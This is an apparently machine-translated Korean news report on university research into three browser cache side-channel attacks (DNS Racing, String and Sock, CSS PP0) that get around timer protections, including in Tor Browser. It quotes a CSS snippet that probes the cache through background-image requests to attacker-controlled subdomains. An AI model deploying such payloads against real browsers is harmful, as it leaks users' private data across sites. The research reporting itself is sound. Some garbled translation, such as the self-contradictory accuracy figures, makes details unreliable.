자바스크립트 없이 웹 브라우저에 구현된 CPU 캐시 추출 공격

미국, 이스라엘, 호주 여러 대학의 연구진이 웹 브라우저에서 실행되어 프로세서 캐시의 콘텐츠에 대한 정보를 추출하는 세 가지 공격을 개발했습니다. 한 가지 방법은 JavaScript가 없는 브라우저에서 작동하고, 다른 두 가지 방법은 Tor 브라우저 및 DeterFox에서 사용되는 방법을 포함하여 부채널 공격에 대한 기존 보호 방법을 우회합니다. 공격을 시연하기 위한 코드와 공격에 필요한 서버 구성 요소가 GitHub에 게시되어 있습니다.

캐시의 내용을 분석하기 위해 모든 공격은 표준 값 세트로 캐시를 채우고 다시 채울 때 액세스 시간을 측정하여 변경 사항을 탐지하는 Prime+Probe 방법을 사용합니다. 정확한 시간 측정을 방해하는 브라우저에 존재하는 보안 메커니즘을 우회하기 위해 두 가지 옵션으로 공격자가 제어하는 ​​DNS 또는 WebSocket 서버에 호소하여 수신된 요청 시간에 대한 로그를 유지합니다. 일 실시예에서, 고정된 DNS 응답 시간이 시간 기준으로 사용된다.

기계 학습 기반 분류 시스템을 사용하여 외부 DNS 또는 WebSocket 서버를 사용하여 수행한 측정은 가장 최적의 시나리오(평균 98~80%)에서 최대 90%의 정확도로 값을 예측하기에 충분했습니다. 공격 방법은 다양한 하드웨어 플랫폼(Intel, AMD Ryzen, Apple M1, Samsung Exynos)에서 테스트되었으며 보편적인 것으로 입증되었습니다.

DNS Racing 공격의 첫 번째 변종은 JavaScript 배열을 사용하는 Prime+Probe 방법의 고전적인 구현을 사용합니다. 차이점은 외부 DNS 기반 타이머와 존재하지 않는 도메인에서 이미지를 로드하려고 시도할 때 트리거되는 onerror 핸들러의 사용으로 요약됩니다. 외부 타이머를 사용하면 브라우저에서 JavaScript 타이머에 대한 액세스를 제한하거나 완전히 비활성화하는 Prime+Probe 공격이 가능합니다.

동일한 이더넷 네트워크에 위치한 DNS 서버의 경우 타이머의 정확도는 약 2ms로 추정되며 이는 부채널 공격을 수행하기에 충분합니다(비교를 위해 Tor 브라우저의 표준 JavaScript 타이머의 정확도는 다음과 같습니다). 100ms로 감소). 공격의 경우 DNS 서버에 대한 제어가 필요하지 않습니다. 작업 실행 시간이 선택되어 DNS의 응답 시간이 검사의 조기 완료 신호 역할을 하도록 하기 때문입니다(onerror 핸들러가 트리거되었는지 여부에 따라 다름). 이전 또는 이후에 캐시를 사용한 검사 작업 속도에 대한 결론이 도출됩니다).

두 번째 공격 방법인 'String and Sock'은 자바스크립트에서 배열의 낮은 수준 사용을 제한하는 보안 기술을 우회하는 것을 목표로 합니다. 배열 대신 String 및 Sock은 변수가 전체 LLC 캐시(마지막 수준 캐시)를 포괄하도록 크기가 선택되는 매우 큰 문자열에 대한 작업을 사용합니다. 다음으로 indexOf() 함수를 사용하여 문자열에서 처음에는 소스 문자열에 없는 작은 하위 문자열을 검색합니다. 검색 작업으로 인해 전체 문자열이 반복됩니다. 라인 크기는 LLC 캐시의 크기에 해당하므로 스캔을 사용하면 배열을 조작하지 않고도 캐시 확인 작업을 수행할 수 있습니다. 지연을 측정하기 위해 DNS 대신 공격자가 제어하는 ​​WebSocket 서버에 호출이 이루어집니다. 검색 작업이 완료되기 전후에 쿼리가 라인으로 전송되며, 이를 기반으로 서버는 캐시를 분석하는 데 사용되는 지연을 계산합니다. 내용물.

"CSS PP0" 공격의 세 번째 변종은 HTML과 CSS를 통해 구현되며 JavaScript가 비활성화된 브라우저에서 작동할 수 있습니다. 이 방법은 "String and Sock"과 유사하지만 JavaScript에 연결되지 않습니다. 공격 중에 마스크로 검색하는 CSS 선택기 세트가 생성됩니다. 캐시를 채우는 초기의 큰 문자열은 매우 큰 클래스 이름을 가진 div 태그를 생성하여 설정됩니다. 내부에는 고유한 식별자를 가진 다른 div 세트가 있습니다. 이러한 중첩된 div 각각에는 하위 문자열을 검색하는 선택기가 포함된 고유한 스타일이 있습니다. 페이지를 렌더링할 때 브라우저는 먼저 내부 div를 처리하려고 시도하며 그 결과 큰 행에 대한 검색 작업이 수행됩니다. 의도적으로 누락된 마스크를 사용하여 검색이 수행되고 전체 라인에 대해 반복이 이루어지며, 그 후 "not" 조건이 트리거되고 임의의 도메인을 참조하는 배경 이미지를 로드하려고 시도합니다. #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … 엑스 엑스 ...

하위 도메인은 요청 수신 지연을 측정할 수 있는 공격자의 DNS 서버에 의해 제공됩니다. DNS 서버는 모든 요청에 ​​대해 NXDOMAIN을 발행하고 정확한 요청 시간에 대한 로그를 유지합니다. 일련의 div를 처리한 결과 공격자의 DNS 서버는 일련의 요청을 수신하며, 그 사이의 지연은 캐시 내용을 확인한 결과와 관련이 있습니다.

출처 : opennet.ru